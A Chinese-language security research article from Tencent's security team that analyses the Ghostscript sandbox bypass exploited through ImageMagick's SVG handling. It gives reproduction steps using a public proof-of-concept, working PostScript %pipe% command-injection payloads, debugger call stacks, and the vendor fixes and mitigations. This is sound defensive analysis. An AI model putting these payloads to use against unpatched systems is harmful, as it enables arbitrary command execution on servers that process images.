文|腾讯蓝军 路飞

0x00 前言

Ghostscript是一款Adobe PostScript语言和PDF的解释器软件,被诸多著名应用(如ImageMagick)所使用。

  • 9月5日,海外安全研究员在Twitter公开Ghostscript的安全模式绕过0day,并给出ImagMgick的利用代码,该漏洞可以造成任意命令执行,影响诸多下游应用,当天TSRC紧急对该漏洞进行复现与分析。

  • 9月9日,Ghostscript官方发布补丁代码,但是并没有发布编译程序。

  • 9月27日,Ghostscript官方发布修复后的新版本编译程序。

可以说这个0day是影响了相当一段时间,这个漏洞的利用也比较曲折,值得深入研究思考。这篇文章将完整分析从ImageMagick到Ghostscript的攻击利用链。

0x01 环境搭建及复现

1. 影响范围

https://github.com/ImageMagick/ImageMagick

ImageMagick <= 7.0.11-10

https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

Ghostscript <= 9.54.0

2. 漏洞环境搭建

可以在ubuntu 20的环境下快速复现

    apt-get install imagemagick

    git clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.git

    python IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpg

    convert 1.jpg 1.pdf

    通过pstree查看进程树,可以看到是GhostScript执行了sleep命令,由此可以确认分析路径。

    • ImageMagick是如何生成参数文件,并且传递给GhostScript解析?

    • GhostScript的沙箱是如何被绕过的?

    0x02 ImageMagick

    1. 分析ImageMagick

    这里打算进行源码debug,所以我们从github上下载ImageMagick源码,编译debug版本,进行调试。后面附了整个栈信息,想快速分析的可以直接看栈信息就好了。

    一开始看给的poc是生成jpg,以为是jpg文件处理出问题了,其实不然。ImageMagick会自动识别文件类型,通过GetImageDecoder函数获取相对应的文件decoder,这里获取到的decoder是ReadSVGImage,所以虽然将文件名命名为1.jpg,但是ImageMagick还是将文件为svg文件进行处理。

    /tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c

      decoder=GetImageDecoder(magick_info)

      ReadSVGImage函数是如何处理payload中重要的desc、image两个标签?

      在ImageMagick/coders/svg.c中搜索到关键词"desc",来到如下图的位置。

      在处理desc标签的时候,会里面内容加一个#,并且写入到/proc/self/fd/3中(当然这里的fd不一定是3,会根据进程里面打开的文件数量而变化)。

        copies (%pipe%/tmp/;{}) (r) file showpage 0 quit desc>

        将上面解析为如下内容,并且添加到/proc/self/fd/3

          #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit

          同样搜索"image"关键词,来到如下图的位置。

          /tmp/im/ImageMagick-7.0.11-6/coders/svg.c

            将上面解析为如下内容,并且追加到/proc/self/fd/3

              image Over0,00,0"epi:/proc/self/fd/3"

              等把所有svg标签转化成mvg文件的原语了,就接着使用DrawPrimitive函数处理mvg内容,处理的内容如下:

                #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit \\\\\\\\npush graphic-context\\\\\\\\nimage Over 0,0 0,0 \\\\\\\\"epi:/proc/self/fd/3\\\\\\\\"\\\\\\\\npop graphic-context\\\\\\\\npush graphic-context\\\\\\\\ncompliance \\\\\\\\"SVG\\\\\\\\"\\\\\\\\nfill \\\\\\\\"black\\\\\\\\"\\\\\\\\nfill-opacity 1\\\\\\\\nstroke \\\\\\\\"none\\\\\\\\"\\\\\\\\nstroke-width 1\\\\\\\\nstroke-opacity 1\\\\\\\\nfill-rule nonzero\\\\\\\\nviewbox 0 0 1 1\\\\\\\\naffine 1 0 0 1 0 0\\\\\\\\npop graphic-context\\\\\\\\n

                /tmp/im/ImageMagick-7.0.11-6/MagickCore/draw.c RenderMVGContent

                其中比较关键的是,在处理到image Over 0,0 0,0 "epi:/proc/self/fd/3"中的image关键词的时候,会认定为是Image,所以接着使用ReadImage函数解析epi:/proc/self/fd/3路径。

                这里根据epi协议头,把/proc/self/fd/3当成psi文件处理。

                并且ReadPSImage函数会将/proc/self/fd/3的文件连接到input_filename,后面会作为Ghostscript的文件参数。

                  status=AcquireUniqueSymbolicLink(image_info->filename,input_filename);

                  最后会被GhostScript以-f 文件名形式调用。

                  /tmp/im/ImageMagick-7.0.11-6/MagickCore/delegate.c

                  到这里,问题很明显了,ImageMagick会把SVG部分内容当成PS脚本内容,给Ghostscript调用。

                  在Ghostscript的解析过程,只要保证恶意代码前面部分是没有语法错误的,恶意代码后面的部分就不需要管了,就能够成功解析恶意代码部分。比如下面PS文件内容,Ghostscript是可以正常执行第一行的。

                    #copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quitasdasdas xxxxxxx

                    而ImageMagick巧合会把"desc"里面的内容作为PS脚本的第一行(仅仅加了#这个脏字符,可以进行绕过)。

                    最后调用Ghostscript的栈信息。

                      libc.so.6!__libc_fork() (\\\\\\\\build\\\\\\\\glibc-eX1tMB\\\\\\\\glibc-2.31\\\\\\\\sysdeps\\\\\\\\nptl\\\\\\\\fork.c:49)libMagickCore-7.Q16HDRI.so.9!ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\delegate.c:446)libMagickCore-7.Q16HDRI.so.9!InvokeGhostscriptDelegate(const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\coders\\\\\\\\ghostscript-private.h:198)libMagickCore-7.Q16HDRI.so.9!ReadPSImage(const ImageInfo * image_info, ExceptionInfo* exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\coders\\\\\\\\ps.c:776)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!DrawPrimitive(Image * image, const DrawInfo * draw_info, const PrimitiveInfo* primitive_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\draw.c:5549)libMagickCore-7.Q16HDRI.so.9!RenderMVGContent(Image* image, const DrawInfo * draw_info, const size_t depth, ExceptionInfo* exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\draw.c:4433)libMagickCore-7.Q16HDRI.so.9!DrawImage(Image * image, const DrawInfo* draw_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\draw.c:4474)libMagickCore-7.Q16HDRI.so.9!ReadMVGImage(const ImageInfo* image_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\coders\\\\\\\\mvg.c:239)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo* image_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadSVGImage(const ImageInfo* image_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\coders\\\\\\\\svg.c:3678)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo* image_info, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadImages(ImageInfo* image_info, const char * filename, ExceptionInfo* exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickCore\\\\\\\\constitute.c:955)libMagickWand-7.Q16HDRI.so.9!ConvertImageCommand(ImageInfo * image_info, int argc, char** argv, char ** metadata, ExceptionInfo * exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickWand\\\\\\\\convert.c:611)libMagickWand-7.Q16HDRI.so.9!MagickCommandGenesis(ImageInfo * image_info, MagickCommand command, int argc, char ** argv, char** metadata, ExceptionInfo* exception) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\MagickWand\\\\\\\\mogrify.c:191)MagickMain(int argc, char** argv) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\utilities\\\\\\\\magick.c:149)main(int argc, char ** argv) (\\\\\\\\tmp\\\\\\\\im\\\\\\\\ImageMagick-7.0.11-6\\\\\\\\utilities\\\\\\\\magick.c:180)

                      2. ImageMagick怎么修复?

                      那么高版本的ImageMagick是如何修复?这里拿7.0.11-6版本进行调试,是没办法执行恶意命令的。

                      于是对比上面执行命令成功的调用栈,从栈最深层开始排查,定位哪个关键函数出问题。后面发现是在DrawPrimitive。

                      可以看到路径为epi:/proc/self/fd/3,这个路径在后续的检测函数IsPathAccessible是过不了的。

                      ImageMagick-7.1.0-8/MagickCore/draw.c

                      最后通过stat函数检测路径是否可以访问,如果不可以访问就不进入ReadImage函数了。

                      而有漏洞的版本仅仅检测clone_info->filename不为空。

                      0x03 Ghostscript

                      1. 分析Ghostscript

                      Ghostscript我们这里重点关注安全模式下是如何绕过管道命令%pipe%cmd沙箱的?

                      成功利用的堆栈信息如下:

                        libc.so.6!_IO_new_popen(const char * command, const char * mode) (\\\\\\\\build\\\\\\\\glibc-eX1tMB\\\\\\\\glibc-2.31\\\\\\\\libio\\\\\\\\iopopen.c:221)fs_file_open_pipe(const gs_memory_t* mem, void * secret, const char* fname, char * rfname, const char* mode, gp_file** file) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\base\\\\\\\\gdevpipe.c:55)pipe_fopen(gx_io_device * iodev, const char * fname, const char * access, gp_file ** pfile, char * rfname, uint rnamelen, gs_memory_t* mem) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\base\\\\\\\\gdevpipe.c:91)file_open_stream(const char * fname, uint len, const char* file_access, uint buffer_size, stream** ps, gx_io_device* iodev, iodev_proc_fopen_t fopen_proc, gs_memory_t * mem) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\base\\\\\\\\sfxcommon.c:94)iodev_os_open_file(gx_io_device * iodev, const char * fname, uint len, const char * file_access, stream ** ps, gs_memory_t * mem) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\zfile.c:1080)zopen_file(i_ctx_t * i_ctx_p, const gs_parsed_file_name_t * pfn, const char * file_access, stream** ps, gs_memory_t* mem) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\zfile.c:1068)zfile(i_ctx_t * i_ctx_p) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\zfile.c:281)interp(i_ctx_t ** pi_ctx_p, const ref* pref, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\interp.c:1457)gs_call_interp(i_ctx_t** pi_ctx_p, ref* pref, int user_errors, int * pexit_code, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\interp.c:520)gs_interpret(i_ctx_t** pi_ctx_p, ref* pref, int user_errors, int * pexit_code, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\interp.c:477)gs_main_interpret(gs_main_instance* minst, ref * pref, int user_errors, int * pexit_code, ref* perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imain.c:257)gs_main_run_string_end(gs_main_instance * minst, int user_errors, int * pexit_code, ref* perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imain.c:945)gs_main_run_string_with_length(gs_main_instance * minst, const char* str, uint length, int user_errors, int * pexit_code, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imain.c:889)gs_main_run_string(gs_main_instance * minst, const char * str, int user_errors, int* pexit_code, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imain.c:870)run_string(gs_main_instance* minst, const char * str, int options, int user_errors, int * pexit_code, ref* perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imainarg.c:1166)runarg(gs_main_instance * minst, const char* pre, const char * arg, const char* post, int options, int user_errors, int * pexit_code, ref * perror_object) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imainarg.c:1125)argproc(gs_main_instance* minst, const char * arg) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imainarg.c:1047)gs_main_init_with_args01(gs_main_instance* minst, int argc, char** argv) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imainarg.c:242)gs_main_init_with_args(gs_main_instance* minst, int argc, char** argv) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\imainarg.c:289)psapi_init_with_args(gs_lib_ctx_t* ctx, int argc, char** argv) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\psapi.c:280)gsapi_init_with_args(void * instance, int argc, char** argv) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\iapi.c:239)main(int argc, char ** argv) (\\\\\\\\tmp\\\\\\\\gsok\\\\\\\\ghostscript-9.54.0\\\\\\\\psi\\\\\\\\gs.c:95)

                        从上面的堆栈,找到Ghostscript代码领域的函数pipe_fopen,函数中如果要成功调用open_pipe函数,会经过的gp_validate_path函数校验,来判断打开的路径是否合法。

                        ghostscript-9.54.0/base/gdevpipe.c

                        我们来看下gp_validate_path是怎么检测的?这里主要判断目录开头是否为白名单里面的路径,而白名单里面有/tmp/*,并且使用popen执行,所以可以使用分号、换行、&等符号拼接执行多个命令。也就是为什么poc里面要加/tmp/的原因。

                        2. PostScript是什么

                        Ghostscript是PostScript的解释器,用于解析执行PostScript。PostScript跟我们平时接触表示法不一样,是逆波兰式。

                        操作数在前,操作符在后。就是把2 + 3这种中序表达式变成为2 3 add这种后续表达式。想了解PostScript可以翻阅文档:

                        https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/psrefman.pdf

                        回到分析中,ImageMagick会在写入的内容前面加一个#号,通过翻阅文档可以找到#copies语法,从而将#脏字符合理化 。

                          #copies 3 def(%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit

                          3. 显示执行结果

                          为了更加直观的查看debug执行情况,我们可以使用如下payload进行回显观察执行命令结果。

                            #copies 3 defmark/OutputFile (%pipe%/tmp/;ifconfig)(pdfwrite)finddeviceputdevicepropssetdevicequit

                            4. 如何修复

                            修复比较简单了,直接把%pipe%拼接进行,变成%pipe%/tmp/;ifconfig,这样路径不匹配白名单,gp_validate_path验证也就无法通过了。

                            在这个利用链中,如果单单修复GhostScript的话,还是有一定DoS的风险,因为Ghostscript没有对资源做限制,可以进行DoS攻击。

                            执行一次即可跑满一个cpu核心,多执行几次最终可以把所有cpu跑满,在一定的场景是有风险的(比如文章ImageMagick使用场景),不过官方不认为是安全漏洞。

                              Payload打码

                              所以在调用Ghostscript的时候,即使开了安全模式,也并不怎么安全,还是需要严格控制PS脚本内容(安全模式也曾被多次绕过)。

                              同时建议禁用不需要的coder,比如这次就可以把SVG禁用掉。

                              /usr/local/etc/ImageMagick-7/policy.xml

                                policymap>

                                0x04 参考

                                1. CVE-2021-3781 Commit

                                https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde

                                2. Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)

                                https://insomniasec.com/blog/ghostscript-cve-2020-15900

                                3. 关于Ghostscript SAFER沙箱绕过漏洞的分析

                                https://www.freebuf.com/vuls/182095.html

                                4. Ghostscript 文档

                                https://www.ghostscript.com/doc/9.55.0/Use.htm

                                声明:本文来自腾讯安全应急响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。